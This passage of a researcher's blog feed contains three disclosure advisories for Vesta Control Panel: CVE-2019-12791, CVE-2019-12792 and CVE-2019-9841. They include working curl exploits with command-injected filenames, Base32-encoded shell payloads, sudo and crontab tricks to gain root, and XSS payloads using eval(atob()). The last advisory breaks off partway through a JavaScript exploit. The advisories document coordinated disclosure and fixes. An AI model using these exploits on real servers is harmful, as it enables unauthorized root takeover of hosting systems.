</div>Andrea Cardacicyrus.and@gmail.comAbstract[CVE-2019-12791] Vesta Control Panel 0.9.8-24 — Privilege escalation in the password reset form2019-08-12T00:00:00+00:002019-08-12T00:00:00+00:00https://cardaci.xyz/advisories/2019/08/12/vesta-control-panel-0.9.8-24-privilege-escalation-in-the-password-reset-form<h2 id="abstract">Abstract</h2>
<p>The insufficient input sanitization used by the <code class="language-plaintext highlighter-rouge">v-list-user</code> shell utility allows to perform directory traversal and execute shell files as <code class="language-plaintext highlighter-rouge">root</code> anywhere in the file system but with a fixed file name.</p>
<p>This coupled with the legitimate ability of registered users to upload files in certain locations on the server grants an attacker the ability to perform privilege escalation from a registered user to <code class="language-plaintext highlighter-rouge">root</code> by simply requesting a password reset.</p>
<p><a href="https://www.hestiacp.com/">HestiaCP</a> (an actively maintained fork of VestaCP) version 1.0.4 is also vulnerable but a fix has been promptly deployed in version 1.0.5.</p>
<h2 id="details">Details</h2>
<p>The <code class="language-plaintext highlighter-rouge">v-list-user</code> script accepts an user name as an argument then evaluates the <code class="language-plaintext highlighter-rouge">$VESTA/data/users/$user/user.conf</code> file and prints some values:<sup id="fnref:vesta-variable" role="doc-noteref"><a href="#fn:vesta-variable" class="footnote" rel="footnote">1</a></sup></p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">source</span> <span class="nv">$VESTA</span>/data/users/<span class="nv">$user</span>/user.conf
</code></pre></div></div>
<p>The only check that is performed against the user name is <code class="language-plaintext highlighter-rouge">is_object_valid 'user' 'USER' "$user"</code> which basically checks that the path <code class="language-plaintext highlighter-rouge">$VESTA/data/users/$user</code> is a valid directory. So if <code class="language-plaintext highlighter-rouge">../../../../../tmp</code> is passed as user name then the file <code class="language-plaintext highlighter-rouge">/tmp/user.conf</code> is evaluated.<sup id="fnref:any-writable" role="doc-noteref"><a href="#fn:any-writable" class="footnote" rel="footnote">2</a></sup></p>
<p>A registered user can upload files on the server using the <code class="language-plaintext highlighter-rouge">/upload/</code> endpoint. The following is used to upload the proof script to <code class="language-plaintext highlighter-rouge">/tmp/user.conf</code>:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span><span class="nv">PHPSESSID</span><span class="o">=</span>... <span class="c"># grab it from an authenticated regular user session</span>
<span class="gp">$</span><span class="w"> </span><span class="nv">COMMAND</span><span class="o">=</span><span class="s1">'id > /usr/local/vesta/web/proof'</span>
<span class="gp">$</span><span class="w"> </span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$COMMAND</span><span class="s2">"</span> | curl <span class="nt">-sk</span> <span class="nt">-o</span> /dev/null <span class="se">\</span>
<span class="s1">'https://target.com:8083/upload/?dir=/tmp'</span> <span class="se">\</span>
<span class="nt">-b</span> <span class="s2">"PHPSESSID=</span><span class="nv">$PHPSESSID</span><span class="s2">"</span> <span class="se">\</span>
<span class="nt">-F</span> <span class="s1">'files=@-;filename=user.conf'</span>
</code></pre></div></div>
<p>It is then possible to invoke the <code class="language-plaintext highlighter-rouge">v-list-user</code> utility by requesting a password reset:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>curl <span class="nt">-k</span> https://target.com:8083/reset/ <span class="nt">-d</span> <span class="s1">'user=../../../../../tmp'</span>
</code></pre></div></div>
<p>In VestaCP the web server is run by the <code class="language-plaintext highlighter-rouge">admin</code> user and the password reset page executes the <code class="language-plaintext highlighter-rouge">v-list-user</code> script with <code class="language-plaintext highlighter-rouge">sudo</code> thus the <code class="language-plaintext highlighter-rouge">user.conf</code> is evaluated by <code class="language-plaintext highlighter-rouge">root</code>.</p>
<p>Check that the proof file is created in the web server root:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>curl <span class="nt">-k</span> https://target.com:8083/proof
<span class="go">uid=0(root) gid=0(root) groups=0(root)
</span></code></pre></div></div>
<h2 id="timeline">Timeline</h2>
<dl>
<dt>2019-05-28</dt>
<dd>Disclosed to the VestaCP team.</dd>
<dt>2019-06-10</dt>
<dd>MITRE assigns <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12791">CVE-2019-12791</a> to this vulnerability.</dd>
<dt>2019-07-29</dt>
<dd>Final warning via <a href="https://github.com/serghey-rodin/vesta/issues/1921">GitHub issue</a> since emails have been ignored.</dd>
<dt>2019-07-30</dt>
<dd>The VestaCP author asks one more week to fix the issue and publish a new release.</dd>
<dt>2019-07-31</dt>
<dd>The VestaCP team <a href="https://github.com/serghey-rodin/vesta/commit/bb44f4197b4e5de219bc00197f89517c7e92bc2a">fixes</a> the vulnerability.</dd>
<dt>2019-08-15</dt>
<dd>The VestaCP team <a href="https://github.com/serghey-rodin/vesta/commit/868dd8b146e76ea3c83c26855ae2f60b22d989d2">releases</a> version 0.9.8-25.</dd>
</dl>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:vesta-variable" role="doc-endnote">
<p><code class="language-plaintext highlighter-rouge">$VESTA</code> is usually set to <code class="language-plaintext highlighter-rouge">/usr/local/vesta/</code>. <a href="#fnref:vesta-variable" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:any-writable" role="doc-endnote">
<p>Any other writable location can be used, e.g., the user home directory. <a href="#fnref:any-writable" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>Andrea Cardacicyrus.and@gmail.comAbstract[CVE-2019-12792] Vesta Control Panel 0.9.8-24 — Privilege escalation in the upload handler2019-08-12T00:00:00+00:002019-08-12T00:00:00+00:00https://cardaci.xyz/advisories/2019/08/12/vesta-control-panel-0.9.8-24-privilege-escalation-in-the-upload-handler<h2 id="abstract">Abstract</h2>
<p>The insufficient shell escaping mechanism used during the invocation of the <code class="language-plaintext highlighter-rouge">exec</code> PHP function allows a registered user to run arbitrary system commands as the <code class="language-plaintext highlighter-rouge">admin</code> user, to whom VestaCP grants full access. A malicious registered user can thus escalate its privileges up to <code class="language-plaintext highlighter-rouge">root</code> by submitting a POST request to the web application.</p>
<p><a href="https://www.hestiacp.com/">HestiaCP</a> (an actively maintained fork of VestaCP) version 1.0.4 is also vulnerable but a fix has been promptly deployed in version 1.0.5.</p>
<h2 id="details">Details</h2>
<p>The PHP script reachable at <code class="language-plaintext highlighter-rouge">/upload/UploadHandler.php</code> naively uses <code class="language-plaintext highlighter-rouge">'...'</code> to shell-escape the user input (instead of using <code class="language-plaintext highlighter-rouge">escapeshellarg</code>):</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">exec</span> <span class="p">(</span><span class="no">VESTA_CMD</span> <span class="mf">.</span> <span class="s2">"v-copy-fs-file "</span><span class="mf">.</span> <span class="no">USERNAME</span> <span class="mf">.</span><span class="s2">" </span><span class="si">{</span><span class="nv">$uploaded_file</span><span class="si">}</span><span class="s2"> '</span><span class="si">{</span><span class="nv">$file_path</span><span class="si">}</span><span class="s2">'"</span><span class="p">,</span> <span class="nv">$output</span><span class="p">,</span> <span class="nv">$return_var</span><span class="p">);</span>
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">$file_path</code> variable is controlled by the user as it corresponds to the name of the file being uploaded. By crafting a proper file name it is possible to escape the single quotes and <em>blindly</em> run additional commands as the <code class="language-plaintext highlighter-rouge">admin</code> user (the one that runs the web server in VestaCP).</p>
<p>For example, the following <code class="language-plaintext highlighter-rouge">curl</code> invocation uses the <code class="language-plaintext highlighter-rouge">sleep</code> command to prove the RCE success:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span><span class="nv">PHPSESSID</span><span class="o">=</span>... <span class="c"># grab it from an authenticated regular user session</span>
<span class="gp">$</span><span class="w"> </span><span class="nb">time </span>curl <span class="nt">-sk</span> <span class="nt">-o</span> /dev/null https://target.com:8083/upload/ <span class="se">\</span>
<span class="nt">-b</span> <span class="s2">"PHPSESSID=</span><span class="nv">$PHPSESSID</span><span class="s2">"</span> <span class="se">\</span>
<span class="nt">-F</span> <span class="s2">"files=@/dev/null;filename=</span><span class="se">\"</span><span class="s2">';sleep 5;#</span><span class="se">\"</span><span class="s2">"</span>
<span class="go">
real 0m5.097s
user 0m0.032s
sys 0m0.004s
</span></code></pre></div></div>
<p>Since the file name is filtered through the <code class="language-plaintext highlighter-rouge">basename</code> PHP function, the payload cannot contain <code class="language-plaintext highlighter-rouge">/</code>. Follows a more general solution that allows to execute arbitrary commands by using the Base32 encoding:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span><span class="nv">COMMAND</span><span class="o">=</span><span class="s1">'[ -w ~admin/.bashrc ] && sleep 5'</span>
<span class="gp">$</span><span class="w"> </span><span class="nv">PAYLOAD</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$COMMAND</span><span class="s2">"</span> | <span class="nb">base32</span> <span class="nt">-w0</span><span class="si">)</span><span class="s2">"</span>
<span class="gp">$</span><span class="w"> </span><span class="nb">time </span>curl <span class="nt">-sk</span> <span class="nt">-o</span> /dev/null https://target.com:8083/upload/ <span class="se">\</span>
<span class="nt">-b</span> <span class="s2">"PHPSESSID=</span><span class="nv">$PHPSESSID</span><span class="s2">"</span> <span class="se">\</span>
<span class="nt">-F</span> <span class="s2">"files=@/dev/null;filename=</span><span class="se">\"</span><span class="s2">';echo </span><span class="nv">$PAYLOAD</span><span class="s2"> | base32 -d | sh;#</span><span class="se">\"</span><span class="s2">"</span>
<span class="go">
real 0m5.087s
user 0m0.028s
sys 0m0.000s
</span></code></pre></div></div>
<p>The above also proves that is possible to write files in the <code class="language-plaintext highlighter-rouge">admin</code> home directory.</p>
<h3 id="from-admin-to-root-access">From admin to root access</h3>
<p>The <code class="language-plaintext highlighter-rouge">admin</code> user ultimately has full access to the target machine, yet VestaCP seems to make it hard for it to run superuser commands. For completeness, follows two possible ways to accomplish that.</p>
<h4 id="misusing-the-v-start-service-command">Misusing the <code class="language-plaintext highlighter-rouge">v-start-service</code> command</h4>
<p>The <code class="language-plaintext highlighter-rouge">service</code> system command provides a way to execute arbitrary executables and not only init scripts<sup id="fnref:service" role="doc-noteref"><a href="#fn:service" class="footnote" rel="footnote">1</a></sup>. Since <code class="language-plaintext highlighter-rouge">v-start-service</code> is a merely wrapper around <code class="language-plaintext highlighter-rouge">service</code>, it is possible to exploit it to run arbitrary executables as <code class="language-plaintext highlighter-rouge">root</code>.</p>
<p>Set the <code class="language-plaintext highlighter-rouge">COMMAND</code> variable as follows:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span><span class="nv">COMMAND</span><span class="o">=</span><span class="s1">'
</span><span class="gp"> echo "id ></span><span class="s1">/usr/local/vesta/web/proof" >/tmp/x
</span><span class="go"> chmod +x /tmp/x
sudo /usr/local/vesta/bin/v-start-service ../../tmp/x'
</span></code></pre></div></div>
<p>Run the remaining commands as above, then check that the proof file is created in the web server root:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>curl <span class="nt">-k</span> https://target.com:8083/proof
<span class="go">uid=0(root) gid=0(root) groups=0(root)
</span></code></pre></div></div>
<h4 id="using-cron">Using cron</h4>
<p>One simple way for the <code class="language-plaintext highlighter-rouge">admin</code> user to legitimately execute <code class="language-plaintext highlighter-rouge">root</code> commands is to replace the <code class="language-plaintext highlighter-rouge">/etc/crontab</code> file and restart the cron daemon using the <code class="language-plaintext highlighter-rouge">v-change-sys-service-config</code> VestaCP utility. Set the <code class="language-plaintext highlighter-rouge">COMMAND</code> variable as follows:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span><span class="nv">COMMAND</span><span class="o">=</span><span class="s1">'
</span><span class="gp"> echo "* * * * * root id ></span><span class="s1">/usr/local/vesta/web/proof" >/tmp/x
</span><span class="go"> sudo /usr/local/vesta/bin/v-change-sys-service-config /tmp/x cron yes'
</span></code></pre></div></div>
<p>Run the remaining commands as above, then after one minute check that the proof file is created in the web server root:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>curl <span class="nt">-k</span> https://target.com:8083/proof
<span class="go">uid=0(root) gid=0(root) groups=0(root)
</span></code></pre></div></div>
<h2 id="other-instances-of-similar-vulnerabilities">Other instances of similar vulnerabilities</h2>
<p>Several other instances of the same or similar problems have been found in the VestaCP source code. The following list<sup id="fnref:git-tree" role="doc-noteref"><a href="#fn:git-tree" class="footnote" rel="footnote">2</a></sup> is a best-effort attempt to enumerate such instances, they are not tested and often are not exploitable in practice or not interesting since only the <code class="language-plaintext highlighter-rouge">admin</code> user can reach the code, but should nevertheless be fixed<sup id="fnref:fixed" role="doc-noteref"><a href="#fn:fixed" class="footnote" rel="footnote">3</a></sup>:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /usr/local/vesta/web/edit/mail/index.php:75</span>
<span class="nb">exec</span> <span class="p">(</span><span class="no">VESTA_CMD</span><span class="mf">.</span><span class="s2">"v-list-mail-account-autoreply "</span><span class="mf">.</span><span class="nv">$user</span><span class="mf">.</span><span class="s2">" '"</span><span class="mf">.</span><span class="nv">$v_domain</span><span class="mf">.</span><span class="s2">"' '"</span><span class="mf">.</span><span class="nv">$v_account</span><span class="mf">.</span><span class="s2">"' json"</span><span class="p">,</span> <span class="nv">$output</span><span class="p">,</span> <span class="nv">$return_var</span><span class="p">);</span>
<span class="c1">// /usr/local/vesta/web/edit/mail/index.php:231</span>
<span class="nb">exec</span> <span class="p">(</span><span class="no">VESTA_CMD</span><span class="mf">.</span><span class="s2">"v-delete-mail-account-alias "</span><span class="mf">.</span><span class="nv">$v_username</span><span class="mf">.</span><span class="s2">" "</span><span class="mf">.</span><span class="nv">$v_domain</span><span class="mf">.</span><span class="s2">" "</span><span class="mf">.</span><span class="nv">$v_account</span><span class="mf">.</span><span class="s2">" '"</span><span class="mf">.</span><span class="nv">$alias</span><span class="mf">.</span><span class="s2">"'"</span><span class="p">,</span> <span class="nv">$output</span><span class="p">,</span> <span class="nv">$return_var</span><span class="p">);</span>
<span class="c1">// /usr/local/vesta/web/edit/mail/index.php:257</span>
<span class="nb">exec</span> <span class="p">(</span><span class="no">VESTA_CMD</span><span class="mf">.</span><span class="s2">"v-delete-mail-account-forward "</span><span class="mf">.</span><span class="nv">$v_username</span><span class="mf">.</span><span class="s2">" "</span><span class="mf">.</span><span class="nv">$v_domain</span><span class="mf">.</span><span class="s2">" "</span><span class="mf">.</span><span class="nv">$v_account</span><span class="mf">.</span><span class="s2">" '"</span><span class="mf">.</span><span class="nv">$forward</span><span class="mf">.</span><span class="s2">"'"</span><span class="p">,</span> <span class="nv">$output</span><span class="p">,</span> <span class="nv">$return_var</span><span class="p">);</span>
<span class="c1">// /usr/local/vesta/web/edit/server/index.php:342</span>
<span class="nb">exec</span> <span class="p">(</span><span class="no">VESTA_CMD</span><span class="mf">.</span><span class="s2">"v-add-backup-host '"</span><span class="mf">.</span> <span class="nv">$v_backup_type</span> <span class="mf">.</span><span class="s2">"' '"</span><span class="mf">.</span> <span class="nv">$v_backup_host</span> <span class="mf">.</span><span class="s2">"' '"</span><span class="mf">.</span> <span class="nv">$v_backup_username</span> <span class="mf">.</span><span class="s2">"' '"</span><span class="mf">.</span> <span class="nv">$v_backup_password</span> <span class="mf">.</span><span class="s2">"' '"</span><span class="mf">.</span> <span class="nv">$v_backup_bpath</span> <span class="mf">.</span><span class="s2">"'"</span><span class="p">,</span> <span class="nv">$output</span><span class="p">,</span> <span class="nv">$return_var</span><span class="p">);</span>
<span class="c1">// /usr/local/vesta/web/edit/server/index.php:359</span>
<span class="nb">exec</span> <span class="p">(</span><span class="no">VESTA_CMD</span><span class="mf">.</span><span class="s2">"v-delete-backup-host '"</span><span class="mf">.</span> <span class="nv">$v_backup_type</span> <span class="mf">.</span><span class="s2">"'"</span><span class="p">,</span> <span class="nv">$output</span><span class="p">,</span> <span class="nv">$return_var</span><span class="p">);</span>
<span class="c1">// /usr/local/vesta/web/edit/server/index.php:367</span>
<span class="nb">exec</span> <span class="p">(</span><span class="no">VESTA_CMD</span><span class="mf">.</span><span class="s2">"v-add-backup-host '"</span><span class="mf">.</span> <span class="nv">$v_backup_type</span> <span class="mf">.</span><span class="s2">"' '"</span><span class="mf">.</span> <span class="nv">$v_backup_host</span> <span class="mf">.</span><span class="s2">"' '"</span><span class="mf">.</span> <span class="nv">$v_backup_username</span> <span class="mf">.</span><span class="s2">"' '"</span><span class="mf">.</span> <span class="nv">$v_backup_password</span> <span class="mf">.</span><span class="s2">"' '"</span><span class="mf">.</span> <span class="nv">$v_backup_bpath</span> <span class="mf">.</span><span class="s2">"'"</span><span class="p">,</span> <span class="nv">$output</span><span class="p">,</span> <span class="nv">$return_var</span><span class="p">);</span>
<span class="c1">// /usr/local/vesta/web/edit/server/index.php:389</span>
<span class="nb">exec</span> <span class="p">(</span><span class="no">VESTA_CMD</span><span class="mf">.</span><span class="s2">"v-add-backup-host '"</span><span class="mf">.</span> <span class="nv">$v_backup_type</span> <span class="mf">.</span><span class="s2">"' '"</span><span class="mf">.</span> <span class="nv">$v_backup_host</span> <span class="mf">.</span><span class="s2">"' '"</span><span class="mf">.</span> <span class="nv">$v_backup_username</span> <span class="mf">.</span><span class="s2">"' '"</span><span class="mf">.</span> <span class="nv">$v_backup_password</span> <span class="mf">.</span><span class="s2">"' '"</span><span class="mf">.</span> <span class="nv">$v_backup_bpath</span> <span class="mf">.</span><span class="s2">"'"</span><span class="p">,</span> <span class="nv">$output</span><span class="p">,</span> <span class="nv">$return_var</span><span class="p">);</span>
<span class="c1">// /usr/local/vesta/web/edit/server/index.php:406</span>
<span class="nb">exec</span> <span class="p">(</span><span class="no">VESTA_CMD</span><span class="mf">.</span><span class="s2">"v-delete-backup-host '"</span><span class="mf">.</span> <span class="nv">$v_backup_type</span> <span class="mf">.</span><span class="s2">"'"</span><span class="p">,</span> <span class="nv">$output</span><span class="p">,</span> <span class="nv">$return_var</span><span class="p">);</span>
<span class="c1">// /usr/local/vesta/web/edit/web/index.php:39</span>
<span class="nb">exec</span> <span class="p">(</span><span class="no">VESTA_CMD</span><span class="mf">.</span><span class="s2">"v-list-web-domain-ssl "</span><span class="mf">.</span><span class="nv">$user</span><span class="mf">.</span><span class="s2">" '"</span><span class="mf">.</span><span class="nv">$v_domain</span><span class="mf">.</span><span class="s2">"' json"</span><span class="p">,</span> <span class="nv">$output</span><span class="p">,</span> <span class="nv">$return_var</span><span class="p">);</span>
<span class="c1">// /usr/local/vesta/web/edit/web/index.php:142</span>
<span class="nb">exec</span> <span class="p">(</span><span class="no">VESTA_CMD</span><span class="mf">.</span><span class="s2">"v-list-dns-domain "</span><span class="mf">.</span><span class="nv">$v_username</span><span class="mf">.</span><span class="s2">" '"</span><span class="mf">.</span><span class="nv">$v_alias</span><span class="mf">.</span><span class="s2">"' json"</span><span class="p">,</span> <span class="nv">$output</span><span class="p">,</span> <span class="nv">$return_var</span><span class="p">);</span>
<span class="c1">// /usr/local/vesta/web/edit/web/index.php:145</span>
<span class="nb">exec</span> <span class="p">(</span><span class="no">VESTA_CMD</span><span class="mf">.</span><span class="s2">"v-change-dns-domain-ip "</span><span class="mf">.</span><span class="nv">$v_username</span><span class="mf">.</span><span class="s2">" '"</span><span class="mf">.</span><span class="nv">$v_alias</span><span class="mf">.</span><span class="s2">"' "</span><span class="mf">.</span><span class="nv">$v_ip</span><span class="p">,</span> <span class="nv">$output</span><span class="p">,</span> <span class="nv">$return_var</span><span class="p">);</span>
<span class="c1">// /usr/local/vesta/web/edit/web/index.php:176</span>
<span class="nb">exec</span> <span class="p">(</span><span class="no">VESTA_CMD</span><span class="mf">.</span><span class="s2">"v-delete-web-domain-alias "</span><span class="mf">.</span><span class="nv">$v_username</span><span class="mf">.</span><span class="s2">" "</span><span class="mf">.</span><span class="nv">$v_domain</span><span class="mf">.</span><span class="s2">" '"</span><span class="mf">.</span><span class="nv">$alias</span><span class="mf">.</span><span class="s2">"' 'no'"</span><span class="p">,</span> <span class="nv">$output</span><span class="p">,</span> <span class="nv">$return_var</span><span class="p">);</span>
<span class="c1">// /usr/local/vesta/web/edit/web/index.php:184</span>
<span class="nb">exec</span> <span class="p">(</span><span class="no">VESTA_CMD</span><span class="mf">.</span><span class="s2">"v-delete-dns-on-web-alias "</span><span class="mf">.</span><span class="nv">$v_username</span><span class="mf">.</span><span class="s2">" "</span><span class="mf">.</span><span class="nv">$v_domain</span><span class="mf">.</span><span class="s2">" '"</span><span class="mf">.</span><span class="nv">$alias</span><span class="mf">.</span><span class="s2">"' 'no'"</span><span class="p">,</span> <span class="nv">$output</span><span class="p">,</span> <span class="nv">$return_var</span><span class="p">);</span>
<span class="c1">// /usr/local/vesta/web/edit/web/index.php:317</span>
<span class="nb">exec</span> <span class="p">(</span><span class="no">VESTA_CMD</span><span class="mf">.</span><span class="s2">"v-list-web-domain-ssl "</span><span class="mf">.</span><span class="nv">$user</span><span class="mf">.</span><span class="s2">" '"</span><span class="mf">.</span><span class="nv">$v_domain</span><span class="mf">.</span><span class="s2">"' json"</span><span class="p">,</span> <span class="nv">$output</span><span class="p">,</span> <span class="nv">$return_var</span><span class="p">);</span>
<span class="c1">// /usr/local/vesta/web/edit/web/index.php:370</span>
<span class="nb">exec</span> <span class="p">(</span><span class="no">VESTA_CMD</span><span class="mf">.</span><span class="s2">"v-add-letsencrypt-domain "</span><span class="mf">.</span><span class="nv">$user</span><span class="mf">.</span><span class="s2">" "</span><span class="mf">.</span><span class="nv">$v_domain</span><span class="mf">.</span><span class="s2">" '"</span><span class="mf">.</span><span class="nv">$l_aliases</span><span class="mf">.</span><span class="s2">"' 'no'"</span><span class="p">,</span> <span class="nv">$output</span><span class="p">,</span> <span class="nv">$return_var</span><span class="p">);</span>
<span class="c1">// /usr/local/vesta/web/reset/mail/index.php:135</span>
<span class="nb">exec</span> <span class="p">(</span><span class="no">VESTA_CMD</span><span class="mf">.</span><span class="s2">"v-get-mail-account-value '"</span><span class="mf">.</span><span class="nv">$v_user</span><span class="mf">.</span><span class="s2">"' "</span><span class="mf">.</span><span class="nv">$v_domain</span><span class="mf">.</span><span class="s2">" "</span><span class="mf">.</span><span class="nv">$v_account</span><span class="mf">.</span><span class="s2">" 'md5'"</span><span class="p">,</span> <span class="nv">$output</span><span class="p">,</span> <span class="nv">$return_var</span><span class="p">);</span>
<span class="c1">// /usr/local/vesta/web/reset/mail/index.php:154</span>
<span class="nb">exec</span> <span class="p">(</span><span class="no">VESTA_CMD</span><span class="mf">.</span><span class="s2">"v-change-mail-account-password '"</span><span class="mf">.</span><span class="nv">$v_user</span><span class="mf">.</span><span class="s2">"' "</span><span class="mf">.</span><span class="nv">$v_domain</span><span class="mf">.</span><span class="s2">" "</span><span class="mf">.</span><span class="nv">$v_account</span><span class="mf">.</span><span class="s2">" "</span><span class="mf">.</span><span class="nv">$v_new_password</span><span class="p">,</span> <span class="nv">$output</span><span class="p">,</span> <span class="nv">$return_var</span><span class="p">);</span>
</code></pre></div></div>
<h2 id="timeline">Timeline</h2>
<dl>
<dt>2019-05-28</dt>
<dd>Disclosed to the VestaCP team.</dd>
<dt>2019-06-10</dt>
<dd>MITRE assigns <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12792">CVE-2019-12792</a> to this vulnerability.</dd>
<dt>2019-07-29</dt>
<dd>Final warning via <a href="https://github.com/serghey-rodin/vesta/issues/1921">GitHub issue</a> since emails have been ignored.</dd>
<dt>2019-07-30</dt>
<dd>The VestaCP author asks one more week to fix the issue and publish a new release.</dd>
<dt>2019-08-07</dt>
<dd>The VestaCP team <a href="https://github.com/serghey-rodin/vesta/commit/b17b4b205df0c01dada54d9684cfaa94b924064a">fixes</a> the vulnerability.</dd>
<dt>2019-08-15</dt>
<dd>The VestaCP team <a href="https://github.com/serghey-rodin/vesta/commit/868dd8b146e76ea3c83c26855ae2f60b22d989d2">releases</a> version 0.9.8-25.</dd>
</dl>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:service" role="doc-endnote">
<p>See the <a href="https://gtfobins.github.io/gtfobins/service/">GTFOBins entry</a>. <a href="#fnref:service" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:git-tree" role="doc-endnote">
<p>Locations refer to the Git commit <a href="https://github.com/serghey-rodin/vesta/tree/e1fb811caf73e5d8de49e3d2a0098a1afb0f647f">e1fb811caf73e5d8de49e3d2a0098a1afb0f647f</a>. <a href="#fnref:git-tree" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:fixed" role="doc-endnote">
<p>Some of them (and others) are fixed in a subsequent <a href="https://github.com/serghey-rodin/vesta/pull/1865/commits/0831a198b86a4760e83c0eaec78d84bab7098e6c">pull request</a>. <a href="#fnref:fixed" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>Andrea Cardacicyrus.and@gmail.comAbstract[CVE-2019-9841] Vesta Control Panel 0.9.8-23 — Reflected XSS in file manager API2019-04-15T00:00:00+00:002019-04-15T00:00:00+00:00https://cardaci.xyz/advisories/2019/04/15/vesta-control-panel-0.9.8-23-reflected-xss-in-file-manager-api<h2 id="abstract">Abstract</h2>
<p>The insufficient output sanitization and inappropriate content type of the responses of the file manager API allows to run arbitrary JavaScript code in the context of the web application. This allows an attacker to impersonate the users of the control panel by tricking them to follow a specially crafted link while authenticated to the web application.</p>
<p>VestaCP users are actual system users and they have the right to manage several services on the hosting server, for example they can create and manage new databases, edit their own crontab, create and manage new mail accounts, etc. They are created by the administrator to whom VestaCP grants full access. This means that triggering the XSS from an administration session could allow an attacker to obtain root access on the hosting server.</p>
<h2 id="details">Details</h2>
<p>A PHP script located at <code class="language-plaintext highlighter-rouge">/file_manager/fm_api.php</code> supposedly provides the API for the file managers plugins that can be installed in VestaCP. The script performs the requested operation then returns the result as a JSON string using <code class="language-plaintext highlighter-rouge">text/html</code> as the content type, often including an error message that reflects some of the provided arguments. By triggering an error using arguments that include a specially crafted HTTP payload it is possible to run arbitrary JavaScript code. For example:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://target.com:8083/file_manager/fm_api.php?action=check_file_type&dir=<img+src=x+onerror=alert(1)+/>
</code></pre></div></div>
<p>Produces:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"result"</span><span class="p">:</span><span class="kc">false</span><span class="p">,</span><span class="nl">"message"</span><span class="p">:</span><span class="s2">"Error: invalid path </span><span class="se">\/</span><span class="s2">home</span><span class="se">\/</span><span class="s2">admin</span><span class="se">\/</span><span class="s2"><img src=x onerror=alert(1) </span><span class="se">\/</span><span class="s2">>"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>Since the output is a JSON string, some characters are <code class="language-plaintext highlighter-rouge">\</code>-escaped. It is possible to overcome this limitation by deploying the payload as a Base64 string, for example the above is equivalent to:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://target.com:8083/file_manager/fm_api.php?action=check_file_type&dir=<img+src=x+onerror=eval(atob('YWxlcnQoMSk='))+/>
</code></pre></div></div>
<p>This works out-of-the-box with Firefox and Edge, while Safari and Chrome block the script execution as they detect a possible XSS attempt. Hopefully some smarter payload will be able to bypass their XSS auditors.</p>
<h2 id="poc-from-xss-to-root-access">PoC: from XSS to root access</h2>
<p>VestaCP acts as a wrapper around several system-level operations, the easiest way for an administrator to run a command as <code class="language-plaintext highlighter-rouge">root</code> is probably to alter the <code class="language-plaintext highlighter-rouge">/etc/crontab</code> file via the <code class="language-plaintext highlighter-rouge">/edit/server/cron/</code> page.</p>
<p>For example this cron job creates a file in the web server root as superuser:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>* * * * * root id >/usr/local/vesta/web/proof
</code></pre></div></div>
<p>Most of the pages in the VestaCP web application employ a CSRF token, so in order to submit the POST form, the token must be obtained by parsing the HTML.</p>
<p>The following JavaScript function replaces <code class="language-plaintext highlighter-rouge">/etc/crontab</code> and restarts the cron daemon:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(</span><span class="k">async</span> <span class="p">()</span> <span class="o">=></span> <span class="p">{</span>
<span class="c1">// fetch the CSRF token</span>
<span class="kd">const</span> <span class="nx">request</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="dl">'</span><span class="s1">/</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span><span class="na">credentials</span><span class="p">:</span> <span class="dl">'</span><span class="s1">include</span><span class="dl">'</span><span class="p">});</span>
<span class="kd">const</span> <span class="nx">text</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">request</span><span class="p">.</span><span class="nx">text</span><span class="p">();</span>
<span class="kd">const</span> <span class="nx">token</span> <span class="o">=</span> <span class="nx">text</span><span class="p">.</span><span class="nx">match</span><span class="p">(</span><span class="sr">/token="</span><span class="se">([^</span><span class="sr">"</span><span class="se">]</span><span class="sr">+</span><span class="se">)</span><span class="sr">"/</span><span class="p">)[</span><span class="mi">1</span><span class="p">];</span>
<span class="c1">// prepare the payload</span>
